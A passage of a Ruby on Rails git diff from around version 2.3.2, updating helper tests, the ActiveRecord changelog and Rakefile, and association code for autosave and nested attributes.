- I18n.expects(:translate).with(:'number.human.format', :locale => 'en',
- :raise => true).returns(@human_defaults)
- I18n.expects(:translate).with(:'number.human.storage_units.format', :locale => 'en',
- :raise => true).returns(@human_storage_units_format_default)
- I18n.expects(:translate).with(:'number.human.storage_units.units.kb', :locale => 'en', :count => 2,
- :raise => true).returns(@human_storage_units_units_kb_other)
- # 2KB
- number_to_human_size(2048, :locale => 'en')
+ def test_number_to_human_size_translates_human_formats
+ I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
+ I18n.expects(:translate).with(:'number.human.format', :locale => 'en',
+ :raise => true).returns(@human_defaults)
+ I18n.expects(:translate).with(:'number.human.storage_units.format', :locale => 'en',
+ :raise => true).returns(@human_storage_units_format_default)
+ I18n.expects(:translate).with(:'number.human.storage_units.units.kb', :locale => 'en', :count => 2,
+ :raise => true).returns(@human_storage_units_units_kb_other)
+ # 2KB
+ number_to_human_size(2048, :locale => 'en')
- I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
- I18n.expects(:translate).with(:'number.human.format', :locale => 'en',
- :raise => true).returns(@human_defaults)
- I18n.expects(:translate).with(:'number.human.storage_units.format', :locale => 'en',
- :raise => true).returns(@human_storage_units_format_default)
- I18n.expects(:translate).with(:'number.human.storage_units.units.byte', :locale => 'en', :count => 42,
- :raise => true).returns(@human_storage_units_units_byte_other)
- # 42 Bytes
- number_to_human_size(42, :locale => 'en')
- end
+ I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
+ I18n.expects(:translate).with(:'number.human.format', :locale => 'en',
+ :raise => true).returns(@human_defaults)
+ I18n.expects(:translate).with(:'number.human.storage_units.format', :locale => 'en',
+ :raise => true).returns(@human_storage_units_format_default)
+ I18n.expects(:translate).with(:'number.human.storage_units.units.byte', :locale => 'en', :count => 42,
+ :raise => true).returns(@human_storage_units_units_byte_other)
+ # 42 Bytes
+ number_to_human_size(42, :locale => 'en')
end
end
diff --git a/actionpack/test/template/number_helper_test.rb b/actionpack/test/template/number_helper_test.rb
index 9c9f54936c..29cb60fd73 100644
--- a/actionpack/test/template/number_helper_test.rb
+++ b/actionpack/test/template/number_helper_test.rb
@@ -4,6 +4,7 @@ class NumberHelperTest < ActionView::TestCase
tests ActionView::Helpers::NumberHelper
def test_number_to_phone
+ assert_equal("555-1234", number_to_phone(5551234))
assert_equal("800-555-1212", number_to_phone(8005551212))
assert_equal("(800) 555-1212", number_to_phone(8005551212, {:area_code => true}))
assert_equal("800 555 1212", number_to_phone(8005551212, {:delimiter => " "}))
diff --git a/actionpack/test/template/output_buffer_test.rb b/actionpack/test/template/output_buffer_test.rb
new file mode 100644
index 0000000000..6d8eab63dc
--- /dev/null
+++ b/actionpack/test/template/output_buffer_test.rb
@@ -0,0 +1,35 @@
+require 'abstract_unit'
+
+class OutputBufferTest < ActionController::TestCase
+ class TestController < ActionController::Base
+ def index
+ render :text => 'foo'
+ end
+ end
+
+ tests TestController
+
+ def test_flush_output_buffer
+ # Start with the default body parts
+ get :index
+ assert_equal ['foo'], @response.body_parts
+ assert_nil @response.template.output_buffer
+
+ # Nil output buffer is skipped
+ @response.template.flush_output_buffer
+ assert_nil @response.template.output_buffer
+ assert_equal ['foo'], @response.body_parts
+
+ # Empty output buffer is skipped
+ @response.template.output_buffer = ''
+ @response.template.flush_output_buffer
+ assert_equal '', @response.template.output_buffer
+ assert_equal ['foo'], @response.body_parts
+
+ # Flushing appends the output buffer to the body parts
+ @response.template.output_buffer = 'bar'
+ @response.template.flush_output_buffer
+ assert_equal '', @response.template.output_buffer
+ assert_equal ['foo', 'bar'], @response.body_parts
+ end
+end
diff --git a/actionpack/test/template/render_test.rb b/actionpack/test/template/render_test.rb
index c61191d475..8bad866ce3 100644
--- a/actionpack/test/template/render_test.rb
+++ b/actionpack/test/template/render_test.rb
@@ -1,3 +1,4 @@
+# encoding: utf-8
require 'abstract_unit'
require 'controller/fake_models'
@@ -9,9 +10,10 @@ module RenderTestCases
# Reload and register danish language for testing
I18n.reload!
I18n.backend.store_translations 'da', {}
+ I18n.backend.store_translations 'pt-BR', {}
# Ensure original are still the same since we are reindexing view paths
- assert_equal ORIGINAL_LOCALES, I18n.available_locales
+ assert_equal ORIGINAL_LOCALES, I18n.available_locales.map(&:to_s).sort
end
def test_render_file
@@ -38,6 +40,39 @@ module RenderTestCases
end
end
+ def test_render_file_with_dashed_locale
+ old_locale = I18n.locale
+ pending do
+ I18n.locale = :"pt-BR"
+ assert_equal "Ola mundo", @view.render(:file => "test/hello_world")
+ end
+ ensure
+ I18n.locale = old_locale
+ end
+
+ def test_render_implicit_html_template_from_xhr_request
+ old_format = @view.formats
+ pending do
+ @view.formats = [:js]
+ assert_equal "Hello HTML!", @view.render(:file => "test/render_implicit_html_template_from_xhr_request")
+ end
+ ensure
+ @view.formats = old_format
+ end
+
+ def test_render_implicit_html_template_from_xhr_request_with_localization
+ old_locale = I18n.locale
+ old_format = @view.formats
+ pending do
+ I18n.locale = :da
+ @view.formats = [:js]
+ assert_equal "Hey HTML!\n", @view.render(:file => "test/render_implicit_html_template_from_xhr_request")
+ end
+ ensure
+ I18n.locale = old_locale
+ @view.formats = old_format
+ end
+
def test_render_file_at_top_level
assert_equal 'Elastica', @view.render(:file => '/shared')
end
@@ -120,6 +155,10 @@ module RenderTestCases
assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name
end
+ def test_render_object
+ assert_equal "Hello: david", @view.render(:partial => "test/customer", :object => Customer.new("david"))
+ end
+
def test_render_partial_collection
assert_equal "Hello: davidHello: mary", @view.render(:partial => "test/customer", :collection => [ Customer.new("david"), Customer.new("mary") ])
end
@@ -199,6 +238,16 @@ module RenderTestCases
assert_equal 'source: Hello, <%= name %>!; locals: {:name=>"Josh"}', @view.render(:inline => "Hello, <%= name %>!", :locals => { :name => "Josh" }, :type => :foo)
end
+ def test_render_ignores_templates_with_malformed_template_handlers
+ %w(malformed malformed.erb malformed.html.erb malformed.en.html.erb).each do |name|
+ assert_raise(ActionView::MissingTemplate) { @view.render(:file => "test/malformed/#{name}") }
+ end
+ end
+
+ def test_template_with_malformed_template_handler_is_reachable_through_its_exact_filename
+ assert_equal "Don't render me!", @view.render(:file => 'test/malformed/malformed.html.erb~')
+ end
+
def test_render_with_layout
assert_equal %(<title></title>\nHello world!\n),
@view.render(:file => "test/hello_world.erb", :layout => "layouts/yield")
@@ -208,6 +257,14 @@ module RenderTestCases
assert_equal %(<title>title</title>\n<div id="column">column</div>\n<div id="content">content</div>\n),
@view.render(:file => "test/nested_layout.erb", :layout => "layouts/yield")
end
+
+ if '1.9'.respond_to?(:force_encoding)
+ def test_render_utf8_template
+ result = @view.render(:file => "test/utf8.html.erb", :layouts => "layouts/yield")
+ assert_equal "Русский текст\n日本語のテキスト", result
+ assert_equal Encoding::UTF_8, result.encoding
+ end
+ end
end
class CachedViewRenderTest < ActiveSupport::TestCase
diff --git a/actionpack/test/template/test_test.rb b/actionpack/test/template/test_test.rb
index c35a264abf..dd07a6d438 100644
--- a/actionpack/test/template/test_test.rb
+++ b/actionpack/test/template/test_test.rb
@@ -39,12 +39,10 @@ class PeopleHelperTest < ActionView::TestCase
assert_equal "http://test.host/people", homepage_url
end
- uses_mocha "link_to_person" do
- def test_link_to_person
- person = mock(:name => "David")
- expects(:mocha_mock_path).with(person).returns("/people/1")
- assert_equal '<a href="/people/1">David</a>', link_to_person(person)
- end
+ def test_link_to_person
+ person = mock(:name => "David")
+ expects(:mocha_mock_path).with(person).returns("/people/1")
+ assert_equal '<a href="/people/1">David</a>', link_to_person(person)
end
end
diff --git a/actionpack/test/template/text_helper_test.rb b/actionpack/test/template/text_helper_test.rb
index c420e1f13d..be7163888e 100644
--- a/actionpack/test/template/text_helper_test.rb
+++ b/actionpack/test/template/text_helper_test.rb
@@ -376,6 +376,12 @@ class TextHelperTest < ActionView::TestCase
assert_equal "{link: #{link3_result}}", auto_link("{link: #{link3_raw}}")
end
+ def test_auto_link_in_tags
+ link_raw = 'http://www.rubyonrails.org/images/rails.png'
+ link_result = %Q(<img src="#{link_raw}" />)
+ assert_equal link_result, auto_link(link_result)
+ end
+
def test_auto_link_at_eol
url1 = "http://api.rubyonrails.com/Foo.html"
url2 = "http://www.ruby-doc.org/core/Bar.html"
diff --git a/actionpack/test/template/translation_helper_test.rb b/actionpack/test/template/translation_helper_test.rb
index d0d65cb450..a20f3c394c 100644
--- a/actionpack/test/template/translation_helper_test.rb
+++ b/actionpack/test/template/translation_helper_test.rb
@@ -5,24 +5,28 @@ class TranslationHelperTest < Test::Unit::TestCase
include ActionView::Helpers::TranslationHelper
attr_reader :request
- uses_mocha 'translation_helper_test' do
- def setup
- end
-
- def test_delegates_to_i18n_setting_the_raise_option
- I18n.expects(:translate).with(:foo, :locale => 'en', :raise => true)
- translate :foo, :locale => 'en'
- end
-
- def test_returns_missing_translation_message_wrapped_into_span
- expected = '<span class="translation_missing">en, foo</span>'
- assert_equal expected, translate(:foo)
- end
+ def setup
+ end
+
+ def test_delegates_to_i18n_setting_the_raise_option
+ I18n.expects(:translate).with(:foo, :locale => 'en', :raise => true)
+ translate :foo, :locale => 'en'
+ end
+
+ def test_returns_missing_translation_message_wrapped_into_span
+ expected = '<span class="translation_missing">en, foo</span>'
+ assert_equal expected, translate(:foo)
+ end
+
+ def test_delegates_localize_to_i18n
+ @time = Time.utc(2008, 7, 8, 12, 18, 38)
+ I18n.expects(:localize).with(@time)
+ localize @time
+ end
- def test_delegates_localize_to_i18n
- @time = Time.utc(2008, 7, 8, 12, 18, 38)
- I18n.expects(:localize).with(@time)
- localize @time
- end
+ def test_scoping_by_partial
+ expects(:template).returns(stub(:path_without_format_and_extension => "people/index"))
+ I18n.expects(:translate).with("people.index.foo", :locale => 'en', :raise => true)
+ translate ".foo", :locale => 'en'
end
-end \ No newline at end of file
+end
diff --git a/actionpack/test/template/url_helper_test.rb b/actionpack/test/template/url_helper_test.rb
index c5147c2417..f3d2f87b4a 100644
--- a/actionpack/test/template/url_helper_test.rb
+++ b/actionpack/test/template/url_helper_test.rb
@@ -221,7 +221,7 @@ class UrlHelperTest < ActionView::TestCase
end
def test_link_tag_using_post_javascript_and_popup
- assert_raises(ActionView::ActionViewError) { link_to("Hello", "http://www.example.com", :popup => true, :method => :post, :confirm => "Are you serious?") }
+ assert_raise(ActionView::ActionViewError) { link_to("Hello", "http://www.example.com", :popup => true, :method => :post, :confirm => "Are you serious?") }
end
def test_link_tag_using_block_in_erb
@@ -253,6 +253,27 @@ class UrlHelperTest < ActionView::TestCase
assert_equal "Showing", link_to_if(false, "Showing", :action => "show", :controller => "weblog", :id => 1)
end
+ def test_current_page_with_simple_url
+ @controller.request = RequestMock.new("http://www.example.com/weblog/show")
+ @controller.url = "http://www.example.com/weblog/show"
+ assert current_page?({ :action => "show", :controller => "weblog" })
+ assert current_page?("http://www.example.com/weblog/show")
+ end
+
+ def test_current_page_ignoring_params
+ @controller.request = RequestMock.new("http://www.example.com/weblog/show?order=desc&page=1")
+ @controller.url = "http://www.example.com/weblog/show?order=desc&page=1"
+ assert current_page?({ :action => "show", :controller => "weblog" })
+ assert current_page?("http://www.example.com/weblog/show")
+ end
+
+ def test_current_page_with_params_that_match
+ @controller.request = RequestMock.new("http://www.example.com/weblog/show?order=desc&page=1")
+ @controller.url = "http://www.example.com/weblog/show?order=desc&page=1"
+ assert current_page?({ :action => "show", :controller => "weblog", :order => "desc", :page => "1" })
+ assert current_page?("http://www.example.com/weblog/show?order=desc&amp;page=1")
+ end
+
def test_link_unless_current
@controller.request = RequestMock.new("http://www.example.com/weblog/show")
@controller.url = "http://www.example.com/weblog/show"
@@ -264,11 +285,23 @@ class UrlHelperTest < ActionView::TestCase
assert_equal "Showing", link_to_unless_current("Showing", { :action => "show", :controller => "weblog" })
assert_equal "Showing", link_to_unless_current("Showing", "http://www.example.com/weblog/show")
+ @controller.request = RequestMock.new("http://www.example.com/weblog/show?order=desc&page=1")
+ @controller.url = "http://www.example.com/weblog/show?order=desc&page=1"
+ assert_equal "Showing", link_to_unless_current("Showing", { :action => "show", :controller => "weblog", :order=>'desc', :page=>'1' })
+ assert_equal "Showing", link_to_unless_current("Showing", "http://www.example.com/weblog/show?order=desc&amp;page=1")
+ assert_equal "Showing", link_to_unless_current("Showing", "http://www.example.com/weblog/show?order=desc&page=1")
+
@controller.request = RequestMock.new("http://www.example.com/weblog/show?order=desc")
@controller.url = "http://www.example.com/weblog/show?order=asc"
assert_equal "<a href=\"http://www.example.com/weblog/show?order=asc\">Showing</a>", link_to_unless_current("Showing", { :action => "show", :controller => "weblog" })
assert_equal "<a href=\"http://www.example.com/weblog/show?order=asc\">Showing</a>", link_to_unless_current("Showing", "http://www.example.com/weblog/show?order=asc")
+ @controller.request = RequestMock.new("http://www.example.com/weblog/show?order=desc&page=1")
+ @controller.url = "http://www.example.com/weblog/show?order=desc&page=2"
+ assert_equal "<a href=\"http://www.example.com/weblog/show?order=desc&amp;page=2\">Showing</a>", link_to_unless_current("Showing", { :action => "show", :controller => "weblog" })
+ assert_equal "<a href=\"http://www.example.com/weblog/show?order=desc&amp;page=2\">Showing</a>", link_to_unless_current("Showing", "http://www.example.com/weblog/show?order=desc&page=2")
+
+
@controller.request = RequestMock.new("http://www.example.com/weblog/show")
@controller.url = "http://www.example.com/weblog/list"
assert_equal "<a href=\"http://www.example.com/weblog/list\">Listing</a>",
@@ -320,7 +353,7 @@ class UrlHelperTest < ActionView::TestCase
assert_dom_equal "<script type=\"text/javascript\">eval(decodeURIComponent('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%22%6d%61%69%6c%74%6f%3a%6d%65%40%64%6f%6d%61%69%6e%2e%63%6f%6d%22%3e%4d%79%20%65%6d%61%69%6c%3c%2f%61%3e%27%29%3b'))</script>", mail_to("me@domain.com", "My email", :encode => "javascript", :replace_at => "(at)", :replace_dot => "(dot)")
assert_dom_equal "<script type=\"text/javascript\">eval(decodeURIComponent('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%22%6d%61%69%6c%74%6f%3a%6d%65%40%64%6f%6d%61%69%6e%2e%63%6f%6d%22%3e%6d%65%28%61%74%29%64%6f%6d%61%69%6e%28%64%6f%74%29%63%6f%6d%3c%2f%61%3e%27%29%3b'))</script>", mail_to("me@domain.com", nil, :encode => "javascript", :replace_at => "(at)", :replace_dot => "(dot)")
end
-
+
def protect_against_forgery?
false
end
diff --git a/activemodel/lib/active_model/validations/inclusion.rb b/activemodel/lib/active_model/validations/inclusion.rb
index 9b4cb64307..f288810d90 100644
--- a/activemodel/lib/active_model/validations/inclusion.rb
+++ b/activemodel/lib/active_model/validations/inclusion.rb
@@ -4,7 +4,7 @@ module ActiveModel
# Validates whether the value of the specified attribute is available in a particular enumerable object.
#
# class Person < ActiveRecord::Base
- # validates_inclusion_of :gender, :in => %w( m f ), :message => "woah! what are you then!??!!"
+ # validates_inclusion_of :gender, :in => %w( m f )
# validates_inclusion_of :age, :in => 0..99
# validates_inclusion_of :format, :in => %w( jpg gif png ), :message => "extension %s is not included in the list"
# end
diff --git a/activemodel/test/state_machine/event_test.rb b/activemodel/test/state_machine/event_test.rb
index 8fb7e82ec2..64dc8c4875 100644
--- a/activemodel/test/state_machine/event_test.rb
+++ b/activemodel/test/state_machine/event_test.rb
@@ -31,7 +31,7 @@ class EventBeingFiredTest < ActiveModel::TestCase
test 'should raise an AASM::InvalidTransition error if the transitions are empty' do
event = ActiveModel::StateMachine::Event.new(nil, :event)
- assert_raises ActiveModel::StateMachine::InvalidTransition do
+ assert_raise ActiveModel::StateMachine::InvalidTransition do
event.fire(nil)
end
end
diff --git a/activerecord/CHANGELOG b/activerecord/CHANGELOG
index 507e37ac3b..c73ac4649e 100644
--- a/activerecord/CHANGELOG
+++ b/activerecord/CHANGELOG
@@ -1,4 +1,17 @@
-*2.3.0/3.0*
+*2.3.2 [Final] (March 15, 2009)*
+
+* Added ActiveRecord::Base.find_each and ActiveRecord::Base.find_in_batches for batch processing [DHH/Jamis Buck]
+
+* Added that ActiveRecord::Base.exists? can be called with no arguments #1817 [Scott Taylor]
+
+* Add Support for updating deeply nested models from a single form. #1202 [Eloy Duran]
+
+ class Book < ActiveRecord::Base
+ has_one :author
+ has_many :pages
+
+ accepts_nested_attributes_for :author, :pages
+ end
* Make after_save callbacks fire only if the record was successfully saved. #1735 [Michael Lovitt]
diff --git a/activerecord/Rakefile b/activerecord/Rakefile
index 1c7e2603ee..b50008c971 100644
--- a/activerecord/Rakefile
+++ b/activerecord/Rakefile
@@ -30,7 +30,9 @@ desc 'Run mysql, sqlite, and postgresql tests by default'
task :default => :test
desc 'Run mysql, sqlite, and postgresql tests'
-task :test => %w(test_mysql test_sqlite3 test_postgresql)
+task :test => defined?(JRUBY_VERSION) ?
+ %w(test_jdbcmysql test_jdbcsqlite3 test_jdbcpostgresql) :
+ %w(test_mysql test_sqlite3 test_postgresql)
for adapter in %w( mysql postgresql sqlite sqlite3 firebird db2 oracle sybase openbase frontbase jdbcmysql jdbcpostgresql jdbcsqlite3 jdbcderby jdbch2 jdbchsqldb )
Rake::TestTask.new("test_#{adapter}") { |t|
@@ -175,7 +177,7 @@ spec = Gem::Specification.new do |s|
s.files = s.files + Dir.glob( "#{dir}/**/*" ).delete_if { |item| item.include?( "\.svn" ) }
end
- s.add_dependency('activesupport', '= 2.3.0' + PKG_BUILD)
+ s.add_dependency('activesupport', '= 2.3.2' + PKG_BUILD)
s.files.delete FIXTURES_ROOT + "/fixture_database.sqlite"
s.files.delete FIXTURES_ROOT + "/fixture_database_2.sqlite"
diff --git a/activerecord/lib/active_record.rb b/activerecord/lib/active_record.rb
index e1265b7e1e..2f8c5c712f 100644
--- a/activerecord/lib/active_record.rb
+++ b/activerecord/lib/active_record.rb
@@ -46,7 +46,9 @@ module ActiveRecord
autoload :AssociationPreload, 'active_record/association_preload'
autoload :Associations, 'active_record/associations'
autoload :AttributeMethods, 'active_record/attribute_methods'
+ autoload :AutosaveAssociation, 'active_record/autosave_association'
autoload :Base, 'active_record/base'
+ autoload :Batches, 'active_record/batches'
autoload :Calculations, 'active_record/calculations'
autoload :Callbacks, 'active_record/callbacks'
autoload :Dirty, 'active_record/dirty'
@@ -55,6 +57,7 @@ module ActiveRecord
autoload :Migration, 'active_record/migration'
autoload :Migrator, 'active_record/migration'
autoload :NamedScope, 'active_record/named_scope'
+ autoload :NestedAttributes, 'active_record/nested_attributes'
autoload :Observing, 'active_record/observer'
autoload :QueryCache, 'active_record/query_cache'
autoload :Reflection, 'active_record/reflection'
diff --git a/activerecord/lib/active_record/associations.rb b/activerecord/lib/active_record/associations.rb
index 8b51a38f48..6d25b36aea 100755
--- a/activerecord/lib/active_record/associations.rb
+++ b/activerecord/lib/active_record/associations.rb
@@ -22,7 +22,7 @@ module ActiveRecord
through_reflection = reflection.through_reflection
source_reflection_names = reflection.source_reflection_names
source_associations = reflection.through_reflection.klass.reflect_on_all_associations.collect { |a| a.name.inspect }
- super("Could not find the source association(s) #{source_reflection_names.collect(&:inspect).to_sentence :two_words_connector => ' or ', :last_word_connector => ', or '} in model #{through_reflection.klass}. Try 'has_many #{reflection.name.inspect}, :through => #{through_reflection.name.inspect}, :source => <name>'. Is it one of #{source_associations.to_sentence :two_words_connector => ' or ', :last_word_connector => ', or '}?")
+ super("Could not find the source association(s) #{source_reflection_names.collect(&:inspect).to_sentence(:two_words_connector => ' or ', :last_word_connector => ', or ', :locale => :en)} in model #{through_reflection.klass}. Try 'has_many #{reflection.name.inspect}, :through => #{through_reflection.name.inspect}, :source => <name>'. Is it one of #{source_associations.to_sentence(:two_words_connector => ' or ', :last_word_connector => ', or ', :locale => :en)}?")
end
end
@@ -51,6 +51,12 @@ module ActiveRecord
end
end
+ class HasAndBelongsToManyAssociationForeignKeyNeeded < ActiveRecordError #:nodoc:
+ def initialize(reflection)
+ super("Cannot create self referential has_and_belongs_to_many association on '#{reflection.class_name rescue nil}##{reflection.name rescue nil}'. :association_foreign_key cannot be the same as the :foreign_key.")
+ end
+ end
+
class EagerLoadPolymorphicError < ActiveRecordError #:nodoc:
def initialize(reflection)
super("Can not eagerly load the polymorphic association #{reflection.name.inspect}")
@@ -65,7 +71,7 @@ module ActiveRecord
# See ActiveRecord::Associations::ClassMethods for documentation.
module Associations # :nodoc:
- # These classes will be loaded when associatoins are created.
+ # These classes will be loaded when associations are created.
# So there is no need to eager load them.
autoload :AssociationCollection, 'active_record/associations/association_collection'
autoload :AssociationProxy, 'active_record/associations/association_proxy'
@@ -88,6 +94,18 @@ module ActiveRecord
end unless self.new_record?
end
+ private
+ # Gets the specified association instance if it responds to :loaded?, nil otherwise.
+ def association_instance_get(name)
+ association = instance_variable_get("@#{name}")
+ association if association.respond_to?(:loaded?)
+ end
+
+ # Set the specified association instance.
+ def association_instance_set(name, association)
+ instance_variable_set("@#{name}", association)
+ end
+
# Associations are a set of macro-like class methods for tying objects together through foreign keys. They express relationships like
# "Project has one Project Manager" or "Project belongs to a Portfolio". Each macro adds a number of methods to the class which are
# specialized according to the collection or association symbol and the options hash. It works much the same way as Ruby's own <tt>attr*</tt>
@@ -121,41 +139,40 @@ module ActiveRecord
# | | belongs_to |
# generated methods | belongs_to | :polymorphic | has_one
# ----------------------------------+------------+--------------+---------
- # #other | X | X | X
- # #other=(other) | X | X | X
- # #build_other(attributes={}) | X | | X
- # #create_other(attributes={}) | X | | X
- # #other.create!(attributes={}) | | | X
- # #other.nil? | X | X |
+ # other | X | X | X
+ # other=(other) | X | X | X
+ # build_other(attributes={}) | X | | X
+ # create_other(attributes={}) | X | | X
+ # other.create!(attributes={}) | | | X
#
# ===Collection associations (one-to-many / many-to-many)
# | | | has_many
# generated methods | habtm | has_many | :through
# ----------------------------------+-------+----------+----------
- # #others | X | X | X
- # #others=(other,other,...) | X | X | X
- # #other_ids | X | X | X
- # #other_ids=(id,id,...) | X | X | X
- # #others<< | X | X | X
- # #others.push | X | X | X
- # #others.concat | X | X | X
- # #others.build(attributes={}) | X | X | X
- # #others.create(attributes={}) | X | X | X
- # #others.create!(attributes={}) | X | X | X
- # #others.size | X | X | X
- # #others.length | X | X | X
- # #others.count | X | X | X
- # #others.sum(args*,&block) | X | X | X
- # #others.empty? | X | X | X
- # #others.clear | X | X | X
- # #others.delete(other,other,...) | X | X | X
- # #others.delete_all | X | X |
- # #others.destroy_all | X | X | X
- # #others.find(*args) | X | X | X
- # #others.find_first | X | |
- # #others.exists? | X | X | X
- # #others.uniq | X | X | X
- # #others.reset | X | X | X
+ # others | X | X | X
+ # others=(other,other,...) | X | X | X
+ # other_ids | X | X | X
+ # other_ids=(id,id,...) | X | X | X
+ # others<< | X | X | X
+ # others.push | X | X | X
+ # others.concat | X | X | X
+ # others.build(attributes={}) | X | X | X
+ # others.create(attributes={}) | X | X | X
+ # others.create!(attributes={}) | X | X | X
+ # others.size | X | X | X
+ # others.length | X | X | X
+ # others.count | X | X | X
+ # others.sum(args*,&block) | X | X | X
+ # others.empty? | X | X | X
+ # others.clear | X | X | X
+ # others.delete(other,other,...) | X | X | X
+ # others.delete_all | X | X |
+ # others.destroy_all | X | X | X
+ # others.find(*args) | X | X | X
+ # others.find_first | X | |
+ # others.exists? | X | X | X
+ # others.uniq | X | X | X
+ # others.reset | X | X | X
#
# == Cardinality and associations
#
@@ -256,6 +273,10 @@ module ActiveRecord
# You can manipulate objects and associations before they are saved to the database, but there is some special behavior you should be
# aware of, mostly involving the saving of associated objects.
#
+ # Unless you enable the :autosave option on a <tt>has_one</tt>, <tt>belongs_to</tt>,
+ # <tt>has_many</tt>, or <tt>has_and_belongs_to_many</tt> association,
+ # in which case the members are always saved.
+ #
# === One-to-one associations
#
# * Assigning an object to a +has_one+ association automatically saves that object and the object being replaced (if there is one), in
@@ -752,6 +773,9 @@ module ActiveRecord
# If true, all the associated objects are readonly through the association.
# [:validate]
# If false, don't validate the associated objects when saving the parent object. true by default.
+ # [:autosave]
+ # If true, always save any loaded members and destroy members marked for destruction, when saving the parent object. Off by default.
+ #
# Option examples:
# has_many :comments, :order => "posted_on"
# has_many :comments, :include => :author
@@ -768,11 +792,7 @@ module ActiveRecord
# 'ORDER BY p.first_name'
def has_many(association_id, options = {}, &extension)
reflection = create_has_many_reflection(association_id, options, &extension)
-
configure_dependency_for_has_many(reflection)
-
- add_multiple_associated_validation_callbacks(reflection.name) unless options[:validate] == false
- add_multiple_associated_save_callbacks(reflection.name)
add_association_callbacks(reflection.name, reflection.options)
if options[:through]
@@ -794,8 +814,6 @@ module ActiveRecord
# [association=(associate)]
# Assigns the associate object, extracts the primary key, sets it as the foreign key,
# and saves the associate object.
- # [association.nil?]
- # Returns +true+ if there is no associated object.
# [build_association(attributes = {})]
# Returns a new object of the associated type that has been instantiated
# with +attributes+ and linked to this object through a foreign key, but has not
@@ -814,7 +832,6 @@ module ActiveRecord
# An Account class declares <tt>has_one :beneficiary</tt>, which will add:
# * <tt>Account#beneficiary</tt> (similar to <tt>Beneficiary.find(:first, :conditions => "account_id = #{id}")</tt>)
# * <tt>Account#beneficiary=(beneficiary)</tt> (similar to <tt>beneficiary.account_id = account.id; beneficiary.save</tt>)
- # * <tt>Account#beneficiary.nil?</tt>
# * <tt>Account#build_beneficiary</tt> (similar to <tt>Beneficiary.new("account_id" => id)</tt>)
# * <tt>Account#create_beneficiary</tt> (similar to <tt>b = Beneficiary.new("account_id" => id); b.save; b</tt>)
#
@@ -857,14 +874,16 @@ module ActiveRecord
# [:source]
# Specifies the source association name used by <tt>has_one :through</tt> queries. Only use it if the name cannot be
# inferred from the association. <tt>has_one :favorite, :through => :favorites</tt> will look for a
- # <tt>:favorite</tt> on Favorite, unless a <tt>:source</tt> is given.
+ # <tt>:favorite</tt> on Favorite, unless a <tt>:source</tt> is given.
# [:source_type]
# Specifies type of the source association used by <tt>has_one :through</tt> queries where the source
- # association is a polymorphic +belongs_to+.
+ # association is a polymorphic +belongs_to+.
# [:readonly]
# If true, the associated object is readonly through the association.
# [:validate]
# If false, don't validate the associated object when saving the parent object. +false+ by default.
+ # [:autosave]
+ # If true, always save the associated object or destroy it if marked for destruction, when saving the parent object. Off by default.
#
# Option examples:
# has_one :credit_card, :dependent => :destroy # destroys the associated credit card
@@ -881,25 +900,9 @@ module ActiveRecord
association_accessor_methods(reflection, ActiveRecord::Associations::HasOneThroughAssociation)
else
reflection = create_has_one_reflection(association_id, options)
-
- ivar = "@#{reflection.name}"
-
- method_name = "has_one_after_save_for_#{reflection.name}".to_sym
- define_method(method_name) do
- association = instance_variable_get(ivar) if instance_variable_defined?(ivar)
-
- if !association.nil? && (new_record? || association.new_record? || association[reflection.primary_key_name] != id)
- association[reflection.primary_key_name] = id
- association.save(true)
- end
- end
- after_save method_name
-
- add_single_associated_validation_callbacks(reflection.name) if options[:validate] == true
association_accessor_methods(reflection, HasOneAssociation)
association_constructor_method(:build, reflection, HasOneAssociation)
association_constructor_method(:create, reflection, HasOneAssociation)
-
configure_dependency_for_has_one(reflection)
end
end
@@ -916,8 +919,6 @@ module ActiveRecord
# Returns the associated object. +nil+ is returned if none is found.
# [association=(associate)]
# Assigns the associate object, extracts the primary key, and sets it as the foreign key.
- # [association.nil?]
- # Returns +true+ if there is no associated object.
# [build_association(attributes = {})]
# Returns a new object of the associated type that has been instantiated
# with +attributes+ and linked to this object through a foreign key, but has not yet been saved.
@@ -935,7 +936,6 @@ module ActiveRecord
# * <tt>Post#author</tt> (similar to <tt>Author.find(author_id)</tt>)
# * <tt>Post#author=(author)</tt> (similar to <tt>post.author_id = author.id</tt>)
# * <tt>Post#author?</tt> (similar to <tt>post.author == some_author</tt>)
- # * <tt>Post#author.nil?</tt>
# * <tt>Post#build_author</tt> (similar to <tt>post.author = Author.new</tt>)
# * <tt>Post#create_author</tt> (similar to <tt>post.author = Author.new; post.author.save; post.author</tt>)
# The declaration can also include an options hash to specialize the behavior of the association.
@@ -979,6 +979,8 @@ module ActiveRecord
# If true, the associated object is readonly through the association.
# [:validate]
# If false, don't validate the associated objects when saving the parent object. +false+ by default.
+ # [:autosave]
+ # If true, always save the associated object or destroy it if marked for destruction, when saving the parent object. Off by default.
#
# Option examples:
# belongs_to :firm, :foreign_key => "client_of"
@@ -991,54 +993,17 @@ module ActiveRecord
def belongs_to(association_id, options = {})
reflection = create_belongs_to_reflection(association_id, options)
- ivar = "@#{reflection.name}"
-
if reflection.options[:polymorphic]
association_accessor_methods(reflection, BelongsToPolymorphicAssociation)
-
- method_name = "polymorphic_belongs_to_before_save_for_#{reflection.name}".to_sym
- define_method(method_name) do
- association = instance_variable_get(ivar) if instance_variable_defined?(ivar)
-
- if association && association.target
- if association.new_record?
- association.save(true)
- end
-
- if association.updated?
- self[reflection.primary_key_name] = association.id
- self[reflection.options[:foreign_type]] = association.class.base_class.name.to_s
- end
- end
- end
- before_save method_name
else
association_accessor_methods(reflection, BelongsToAssociation)
association_constructor_method(:build, reflection, BelongsToAssociation)
association_constructor_method(:create, reflection, BelongsToAssociation)
-
- method_name = "belongs_to_before_save_for_#{reflection.name}".to_sym
- define_method(method_name) do
- association = instance_variable_get(ivar) if instance_variable_defined?(ivar)
-
- if !association.nil?
- if association.new_record?
- association.save(true)
- end
-
- if association.updated?
- self[reflection.primary_key_name] = association.id
- end
- end
- end
- before_save method_name
end
# Create the callbacks to update counter cache
if options[:counter_cache]
- cache_column = options[:counter_cache] == true ?
- "#{self.to_s.demodulize.underscore.pluralize}_count" :
- options[:counter_cache]
+ cache_column = reflection.counter_cache_column
